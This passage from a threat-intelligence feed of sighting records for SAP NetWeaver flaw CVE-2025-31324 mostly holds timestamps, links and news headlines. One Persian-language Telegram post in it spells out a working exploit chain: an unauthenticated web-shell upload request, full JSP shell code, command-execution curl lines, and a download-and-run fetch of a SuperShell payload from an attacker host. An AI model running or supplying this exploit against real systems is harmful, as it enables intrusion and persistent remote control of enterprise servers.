flaw.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "url": "https://t.me/cibsecurity/84669"}, {"timestamp": "2025-05-09T07:14:49Z", "date_only": false, "value": "2025-05-09T07:14:49.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ctinow/235070", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d43721b3-4252-4d6d-b7fa-d5a01af25624", "content": "Chinese Hackers Exploit SAP RCE Flaw CVE-2025-31324, Deploy Golang-Based SuperShell\nhttps://ift.tt/byVqD97", "url": "https://t.me/ctinow/235070"}, {"timestamp": "2025-05-09T07:42:11.812Z", "date_only": false, "value": "2025-05-09T07:42:11.812519Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lopwhdv5om2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a6beb21f-822c-4acf-85e6-a2018eb9a40a", "url": "https://bsky.app/profile/bluesky.awakari.com/post/3lopwhdv5om2c"}, {"timestamp": "2025-05-09T08:02:38Z", "date_only": false, "value": "2025-05-09T08:02:38.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/EX1YFobDdekF3LgoaEvrbRZCWmshaPOW31rjHyW2LevWmQ", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "36b70f59-0ebd-4495-8f8a-c9b842ee2c79"}, {"timestamp": "2025-05-09T08:03:03Z", "date_only": false, "value": "2025-05-09T08:03:03.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/TengkorakCyberCrewzz/2111", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4a95b03b-3fec-46d2-a297-2d9eed9ffe46", "content": "Chinese Hackers Exploit SAP RCE Flaw CVE-2025-31324, Deploy Golang-Based SuperShell \u2013 thehackernews.com\n\nFri, 09 May 2025 12:29:00", "url": "https://t.me/TengkorakCyberCrewzz/2111"}, {"timestamp": "2025-05-09T09:25:42.184Z", "date_only": false, "value": "2025-05-09T09:25:42.184917Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lopycwkwfze2", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "f4b33efe-e77c-4092-bdd4-3f924fa6d7c2", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lopycwkwfze2"}, {"timestamp": "2025-05-09T10:03:03Z", "date_only": false, "value": "2025-05-09T10:03:03.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/12635", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6024f80e-d204-4852-9dd4-7bb77c72a991", "content": "Chinese Hackers Exploit SAP RCE Flaw CVE-2025-31324, Deploy Golang-Based SuperShell \u2013 thehackernews.com\n\nFri, 09 May 2025 12:29:00", "url": "https://t.me/MalaysiaHacktivistz/12635"}, {"timestamp": "2025-05-09T10:03:03Z", "date_only": false, "value": "2025-05-09T10:03:03.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/3985", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "72d6c5a6-2709-4462-9662-080c6f051136", "content": "Chinese Hackers Exploit SAP RCE Flaw CVE-2025-31324, Deploy Golang-Based SuperShell \u2013 thehackernews.com\n\nFri, 09 May 2025 12:29:00", "url": "https://t.me/MalaysiaHacktivistz/3985"}, {"timestamp": "2025-05-09T10:03:03Z", "date_only": false, "value": "2025-05-09T10:03:03.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/TengkorakCyberCrewzz/30784", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fb822bf5-3bfc-4c82-a82c-3ed863fce9bc", "content": "Chinese Hackers Exploit SAP RCE Flaw CVE-2025-31324, Deploy Golang-Based SuperShell \u2013 thehackernews.com\n\nFri, 09 May 2025 12:29:00", "url": "https://t.me/TengkorakCyberCrewzz/30784"}, {"timestamp": "2025-05-09T11:12:29.357Z", "date_only": false, "value": "2025-05-09T11:12:29.357175Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3loqc7e57ld2d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4adfa11d-b0ae-462d-ba29-09f22f4291b5", "url": "https://bsky.app/profile/nimblenerd.social/post/3loqc7e57ld2d"}, {"timestamp": "2025-05-09T12:31:55.789Z", "date_only": false, "value": "2025-05-09T12:31:55.789410Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3loqgnghxod2i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8c42962e-a13d-4eef-b6ba-a9bf94b87c28", "url": "https://bsky.app/profile/infosec.skyfleet.blue/post/3loqgnghxod2i"}, {"timestamp": "2025-05-09T16:35:12.920Z", "date_only": false, "value": "2025-05-09T16:35:12.920381Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3loquahpktg2g", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6ca3a2ec-5813-46e6-89f1-ddbc89fc733c", "url": "https://bsky.app/profile/redteamnews.bsky.social/post/3loquahpktg2g"}, {"timestamp": "2025-05-09T16:36:49.239Z", "date_only": false, "value": "2025-05-09T16:36:49.239802Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3loqudcu6xs2n", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "392dfe25-0be5-48ca-a350-44e62a3e373b", "url": "https://bsky.app/profile/securityrss.bsky.social/post/3loqudcu6xs2n"}, {"timestamp": "2025-05-09T20:00:14Z", "date_only": false, "value": "2025-05-09T20:00:14.000000Z", "kind": "sighting", "label": "Seen", "source": "https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c45edb72-6c9a-4cf0-bc64-c1da1ec01046", "url": "https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/"}, {"timestamp": "2025-05-09T22:11:22.647Z", "date_only": false, "value": "2025-05-09T22:11:22.647228Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lorgzkjwsj2j", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1f6886c4-213b-4010-b024-abd2f46e1bd9", "url": "https://bsky.app/profile/nimblenerd.social/post/3lorgzkjwsj2j"}, {"timestamp": "2025-05-09T22:29:53.676Z", "date_only": false, "value": "2025-05-09T22:29:53.676654Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3lori2nzqsd2c", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "1e3e37a8-b4d5-4db8-8b92-41a976be703b", "url": "https://bsky.app/profile/cti-news.bsky.social/post/3lori2nzqsd2c"}, {"timestamp": "2025-05-10T00:42:11.035Z", "date_only": false, "value": "2025-05-10T00:42:11.035369Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3lorph7si3n27", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d5e80cdf-dd78-4929-8f9e-93acf85ce777", "url": "https://bsky.app/profile/cyberhub.blog/post/3lorph7si3n27"}, {"timestamp": "2025-05-10T02:14:11.389Z", "date_only": false, "value": "2025-05-10T02:14:11.389455Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lorulqoaek2o", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2a707955-ca90-420a-8554-d19c3d5a1df0", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lorulqoaek2o"}, {"timestamp": "2025-05-10T05:18:25.317Z", "date_only": false, "value": "2025-05-10T05:18:25.317948Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3los6v6alms2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "312ed3db-1a88-4eae-bc8a-fb27ac324c1f", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3los6v6alms2c"}, {"timestamp": "2025-05-10T10:54:52Z", "date_only": false, "value": "2025-05-10T10:54:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://threatintel.cc/2025/05/10/threat-brief-cve-the-article.html", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "31a04c66-7831-4c3a-a7ff-0ed5b4b54191", "url": "https://threatintel.cc/2025/05/10/threat-brief-cve-the-article.html"}, {"timestamp": "2025-05-10T16:24:09Z", "date_only": false, "value": "2025-05-10T16:24:09.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ton618cyber/9236", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0fb68e32-7fa8-4054-bfda-0769cb838dec", "content": "Chinese Hackers Exploit SAP RCE Flaw CVE-2025-31324, Deploy Golang-Based SuperShell\n\nChina-based hackers exploited SAP flaw CVE-2025-31324 since April 29, impacting global industries via web shells.\n\n\nThe Hacker News | thehackernews\u200b.com \u2022 May 9, 2025", "url": "https://t.me/ton618cyber/9236"}, {"timestamp": "2025-05-10T16:24:10Z", "date_only": false, "value": "2025-05-10T16:24:10.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ton618cyber/3794", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e38352c2-40f2-4d84-9f87-5d8b67d7f71e", "content": "Chinese Hackers Exploit SAP RCE Flaw CVE-2025-31324, Deploy Golang-Based SuperShell\n\nChina-based hackers exploited SAP flaw CVE-2025-31324 since April 29, impacting global industries via web shells.\n\n\nThe Hacker News | thehackernews\u200b.com \u2022 May 9, 2025", "url": "https://t.me/ton618cyber/3794"}, {"timestamp": "2025-05-10T16:49:37.800Z", "date_only": false, "value": "2025-05-10T16:49:37.800415Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberresearch.bsky.social/post/3lotfj4ymex2w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "34c1c747-e222-4a0f-bf2d-6de6e2609a40", "url": "https://bsky.app/profile/cyberresearch.bsky.social/post/3lotfj4ymex2w"}, {"timestamp": "2025-05-10T18:20:48.510Z", "date_only": false, "value": "2025-05-10T18:20:48.510779Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/users/verbrecher/statuses/114484920105206053", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3015275f-6922-466a-89e0-ebd22b3bab9b", "url": "https://mastodon.social/users/verbrecher/statuses/114484920105206053"}, {"timestamp": "2025-05-10T19:00:33.803Z", "date_only": false, "value": "2025-05-10T19:00:33.803999Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberbessa.bsky.social/post/3lotmtbtbbp2y", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "373e97e9-bf08-4b42-8444-40232e03efc2", "url": "https://bsky.app/profile/cyberbessa.bsky.social/post/3lotmtbtbbp2y"}, {"timestamp": "2025-05-11T00:00:00Z", "date_only": false, "value": "2025-05-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3153457c-c6ac-4cf6-8495-6b59fe85db3e"}, {"timestamp": "2025-05-11T09:20:31.991Z", "date_only": false, "value": "2025-05-11T09:20:31.991494Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3lov4uvjz4k2v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a8dc7ece-6edc-4c97-89e6-c09b6e8eaecb", "url": "https://bsky.app/profile/pvynckier.bsky.social/post/3lov4uvjz4k2v"}, {"timestamp": "2025-05-11T09:21:16.954Z", "date_only": false, "value": "2025-05-11T09:21:16.954835Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3lov4wcbvgk2v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d0f1688b-97fb-4a3c-84a0-5df0fa03fb4b", "url": "https://bsky.app/profile/pvynckier.bsky.social/post/3lov4wcbvgk2v"}, {"timestamp": "2025-05-11T13:09:34.246Z", "date_only": false, "value": "2025-05-11T13:09:34.246857Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lovjoia6zk2u", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d555dc18-eb55-418c-9435-06a7849227cd", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lovjoia6zk2u"}, {"timestamp": "2025-05-11T23:42:16Z", "date_only": false, "value": "2025-05-11T23:42:16.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ViralCyber/13205", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c8b9e34c-252c-457a-983c-119dba33a333", "content": "\u23f2   \u06af\u0631\u0648\u0647 \u0645\u0631\u062a\u0628\u0637\u06cc \u0628\u0627 \u0686\u06cc\u0646 \u0628\u0627 \u0627\u0633\u0645 Chaya_004 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc CVE-2025-31324 \u062a\u0648 SAP NetWeaver \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648 \u0645\u0627\u0698\u0648\u0644 Visual Composer \u0648 \u0628\u0647 \u0637\u0648\u0631 \u062e\u0627\u0635 \u062a\u0648 \u0633\u0631\u0648\u06cc\u0633 MetadataUploader \u0628\u0627 \u0645\u0633\u06cc\u0631 /developmentserver/metadatauploader \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0647. \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0642\u0631\u0627\u0631\u0647 \u0641\u0627\u06cc\u0644 \u0645\u062a\u0627\u062f\u06cc\u062a\u0627 \u0631\u0648 \u0628\u0631\u0627\u06cc \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u0647\u200c\u0647\u0627 \u0622\u067e\u0644\u0648\u062f \u06a9\u0646\u0647. \u0627\u0645\u0627 SAP \u06cc\u0647 \u0627\u0634\u062a\u0628\u0627\u0647 \u0645\u0631\u06af\u0628\u0627\u0631 \u06a9\u0631\u062f\u0647: \u0627\u06cc\u0646 endpoint \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u0646\u0648\u0639 authentication \u0628\u0627\u0632\u0647!\n\u0627\u06cc\u0646 endpoint \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0641\u0627\u06cc\u0644\u200c \u0631\u0648 \u0628\u0627 \u0645\u062a\u062f POST \u062f\u0631\u06cc\u0627\u0641\u062a \u0648 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0647\u060c \u0628\u062f\u0648\u0646 \u0628\u0631\u0631\u0633\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631 \u06a9\u06cc\u0647. \u062d\u0627\u0644\u0627 \u0627\u06af\u0647 \u0641\u0627\u06cc\u0644 \u0622\u067e\u0644\u0648\u062f\u06cc \u06cc\u0647 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a .jsp \u0628\u0627\u0634\u0647\u060c SAP NetWeaver \u0627\u0648\u0646 \u0631\u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u0647 asset \u062f\u0627\u06cc\u0646\u0627\u0645\u06cc\u06a9 \u0644\u0648\u062f \u0645\u06cc\u200c\u06a9\u0646\u0647 \u0648 \u0631\u0648\u06cc \u0633\u0631\u0648\u0631 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0647!\n\n   \ud83d\udc48 \u06cc\u0639\u0646\u06cc \u0686\u06cc\u061f \u06cc\u0639\u0646\u06cc:\nPOST /developmentserver/metadatauploader HTTP/1.1\nHost: target-victim.com\nContent-Type: multipart/form-data; boundary=boundary\n\n--boundary\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.jsp\"\nContent-Type: application/octet-stream\n\n<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>\n--boundary--\n   \ud83d\udc48 \u0628\u0639\u062f\u0634 \u0641\u0642\u0637 \u06a9\u0627\u0641\u06cc\u0647 \u0628\u0631\u06cc:\nhttp://target-victim.com/VCService/shell.jsp?cmd=whoami\n\u0648 \u062a\u0645\u0627\u0645! \u06a9\u062f \u0631\u0648\u06cc \u0633\u0631\u0648\u0631 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u0634\u0647.\n\n\ud83d\udd39  \u0645\u0631\u062d\u0644\u0647 \u062f\u0648\u0645: \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u062f\u0642\u06cc\u0642 - Exploit Chain\n   \ud83d\udc48 \u06af\u0627\u0645 1: Uploading JSP Web Shell\ncurl -X POST http://victim.com/developmentserver/metadatauploader \\\n  -F \"file=@shell.jsp\" -H \"Content-Type: multipart/form-data\"\n\u0645\u062d\u062a\u0648\u0627\u06cc shell.jsp:\n<%@ page import=\"java.io.*\" %>\n<%\nString cmd = request.getParameter(\"cmd\");\nProcess p = Runtime.getRuntime().exec(cmd);\nBufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));\nString line = null;\nwhile ((line = reader.readLine()) != null) {\n    out.println(line);\n}\n%>\n   \ud83d\udc48 \u06af\u0627\u0645 2: \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\ncurl \"http://victim.com/VCService/shell.jsp?cmd=cat /etc/passwd\"\n\n\ud83d\udd39  \u0645\u0631\u062d\u0644\u0647 \u0633\u0648\u0645: Persistence \u0628\u0627 SuperShell\n\u0628\u0639\u062f \u0627\u0632 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0686\u06cc \u0646\u0635\u0628 \u06a9\u0631\u062f\u0646\u061f \u06cc\u0647 reverse shell \u0628\u0647 \u0633\u0628\u06a9 GoLang \u0628\u0647 \u0627\u0633\u0645 SuperShell. \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0645\u062b\u0644 Cobalt Strike \u0648\u0644\u06cc \u0633\u0628\u06a9\u200c\u062a\u0631 \u0648 stealth\u062a\u0631\u0647.\n   \ud83d\udc48 \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u062c\u0627\u0644\u0628 SuperShell:\n          \u2b05\ufe0f \u06cc\u06a9. Cross-platform (Linux/Windows)\n          \u2b05\ufe0f \u062f\u0648. TLS encrypted reverse shell\n          \u2b05\ufe0f \u0633\u0647. \u0641\u0627\u06cc\u0644 single-binary\u060c \u0642\u0627\u0628\u0644 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0647\u0645\u06cc\u0646 RCE\n          \u2b05\ufe0f \u0686\u0647\u0627\u0631. \u0628\u0627 \u0642\u0627\u0628\u0644\u06cc\u062a \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u060c TTY interactive\u060c \u0641\u0627\u06cc\u0644 \u0622\u067e\u0644\u0648\u062f \u0648 \u062f\u0627\u0646\u0644\u0648\u062f\n   \ud83d\udc48 \u0634\u0650\u0644 \u0631\u0648 \u0686\u0637\u0648\u0631\u06cc \u0646\u0635\u0628 \u06a9\u0631\u062f\u0646\u061f\n\u0641\u0627\u06cc\u0644 .jsp \u06cc\u0647 curl \u06cc\u0627 wget \u0633\u0627\u062f\u0647 \u0645\u06cc\u0632\u0646\u0647 \u0628\u0647 \u0633\u0631\u0648\u0631 CDN\u0634\u0648\u0646 \u0648 \u0641\u0627\u06cc\u0644 Golang shell \u0631\u0648 \u062f\u0627\u0646\u0644\u0648\u062f \u0645\u06cc\u200c\u06a9\u0646\u0647:\n<%\nString[] cmd = {\"/bin/sh\", \"-c\", \"wget http://malicious.cn/supershell -O /tmp/sshell; chmod +x /tmp/sshell; /tmp/sshell &\"};\nRuntime.getRuntime().exec(cmd);\n%>\n\n\ud83d\udd39  \u0632\u06cc\u0631\u0633\u0627\u062e\u062a \u0648 C2 Network\n\u0647\u06a9\u0631\u0647\u0627 \u0641\u0642\u0637 \u06cc\u0647 RCE \u0633\u0627\u062f\u0647 \u0646\u0632\u062f\u0646\u060c \u06a9\u0644 \u0633\u0627\u062e\u062a\u0627\u0631 \u062d\u0645\u0644\u0647 \u0634\u0628\u06cc\u0647 \u06cc\u0647 kill-chain \u067e\u06cc\u0634\u0631\u0641\u062a\u0647\u200c\u0633\u062a:\n          \u2b05\ufe0f \u06cc\u06a9. Recon: \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc\u06cc \u0645\u062b\u0644 ARL \u0648 Pocassist \u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc SAP \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\n          \u2b05\ufe0f \u062f\u0648. Exploit: \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 CVE-2025-31324 \u0628\u0627 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a curl/python\n          \u2b05\ufe0f \u0633\u0647. Payload: \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc SuperShell via .jsp\n          \u2b05\ufe0f \u0686\u0647\u0627\u0631. C2: Tunnel \u06a9\u0631\u062f\u0646 \u062a\u0631\u0627\u0641\u06cc\u06a9 \u0627\u0632 \u0637\u0631\u06cc\u0642 SoftEther VPN \u0648 NPS (\u06cc\u0647 reverse proxy \u0686\u06cc\u0646\u06cc)\n          \u2b05\ufe0f \u067e\u0646\u062c. Persistence: \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc\u06cc \u0645\u062b\u0644 Go Simple Tunnel \u06cc\u0627 Cobalt Strike \u0628\u0631\u0627\u06cc backdoor\u0647\u0627\u06cc \u067e\u0627\u06cc\u062f\u0627\u0631\n          \u2b05\ufe0f \u0634\u0634. Evade: \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0627\u0631\u062a\u0628\u0627\u0637\u060c \u062a\u063a\u06cc\u06cc\u0631 \u0645\u0633\u06cc\u0631 DNS\u060c \u0648 \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u0627\u0633\u0645\u06cc \u0646\u0627\u0645\u0641\u0647\u0648\u0645 \u0645\u062b\u0644 ssonkfrd.jsp\n\n\ud83d\udd39  \u062a\u062d\u0644\u06cc\u0644 \u0646\u0647\u0627\u06cc\u06cc: \u0686\u0631\u0627 \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u062e\u0627\u0635\u0647\u061f\n          \u2b05\ufe0f \u06cc\u06a9. Zero Auth RCE \u0631\u0648\u06cc \u06cc\u06a9 ERP \u062d\u06cc\u0627\u062a\u06cc \u0645\u062b\u0644 SAP \u06cc\u0639\u0646\u06cc \u0646\u0641\u0648\u0630 \u0628\u0647 \u0642\u0644\u0628 \u0633\u0627\u0632\u0645\u0627\u0646.\n          \u2b05\ufe0f \u062f\u0648. \u062d\u0645\u0644\u0647 \u06a9\u0627\u0645\u0644\u0627\u064b \u0642\u0627\u0628\u0644 \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0628\u0627 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc PoC \u0622\u0645\u0627\u062f\u0647\u200c\u0633\u062a.\n          \u2b05\ufe0f \u0633\u0647. Golang payloads \u0645\u062b\u0644 SuperShell \u0628\u0627\u0639\u062b \u0645\u06cc\u0634\u0646 \u0622\u0646\u062a\u06cc\u200c\u0648\u06cc\u0631\u0648\u0633\u200c\u0647\u0627 \u06af\u06cc\u062c \u0628\u0634\u0646\u061b \u0686\u0648\u0646 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0646\u0627\u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0633\u062a.\n          \u2b05\ufe0f \u0686\u0647\u0627\u0631. \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc open-source \u0648 \u0686\u06cc\u0646\u06cc \u0628\u0627\u0639\u062b \u0645\u06cc\u0634\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc APT \u0633\u062e\u062a\u200c\u062a\u0631 \u0628\u0634\u0647.\n\n\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b \ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83e\udee1\ud83d\udd2b\ud83d\udd2b\n\u23e9 @CyberWarfar", "url": "https://t.me/ViralCyber/13205"}, {"timestamp": "2025-05-12T02:19:52.230Z", "date_only": false, "value": "2025-05-12T02:19:52.230048Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lowvtqsac32f", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "22667f7d-744d-4368-abe6-26fb0d9499ce", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lowvtqsac32f"}, {"timestamp": "2025-05-12T05:49:43.667Z", "date_only": false, "value": "2025-05-12T05:49:43.667573Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shiojiri.com/post/3loxbkyhirs2r", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f084b977-5652-4c58-839a-ab78a670ba29", "url": "https://bsky.app/profile/shiojiri.com/post/3loxbkyhirs2r"}, {"timestamp": "2025-05-12T07:22:27Z", "date_only": false, "value": "2025-05-12T07:22:27.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/1f97d8d7-3cbf-406f-b56e-da6876290656", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c771f5d0-d507-447f-a848-f3b975910451"}, {"timestamp": "2025-05-12T09:16:28Z", "date_only": false, "value": "2025-05-12T09:16:28.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/kasperskyb2b/1725", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "501fdeb6-a530-4fc5-b516-19048d1d4e7b", "content": "\ud83c\udfaf\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f ransomware \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udc6e\u200d\u2640\ufe0f \u041e\u0431\u0437\u043e\u0440 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0439 ransomware \u0432 2025 \u0433\u043e\u0434\u0443. \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u043d\u0434\u044b, \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 RaaS, \u0437\u0430\u043c\u0435\u0442\u043d\u043e\u0435 \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043f\u043e\u043b\u0438\u0446\u0435\u0439\u0441\u043a\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u043e\u0432\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445. \n\n\ud83d\udd35\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0412\u041f\u041e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0447\u0430\u0441\u0442\u043e \u043c\u0435\u043b\u044c\u043a\u0430\u044e\u0449\u0435\u0439 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 DragonForce: \u0430\u0432\u0442\u043e\u0440\u044b \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u044f\u0432\u043d\u043e\u0435 \u0441\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0441 \u043a\u043e\u0434\u043e\u043c \u0438\u0437 \u0443\u0442\u0435\u0447\u0435\u043a Conti \u0438 LockBit 3.0.\n\n\ud83d\udfe1\u0412 \u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0445 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u0445 \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u0443\u0435\u0442 Mamona Ransomware \u2014 \u0438\u0445 \u0412\u041f\u041e \u0442\u043e\u0436\u0435 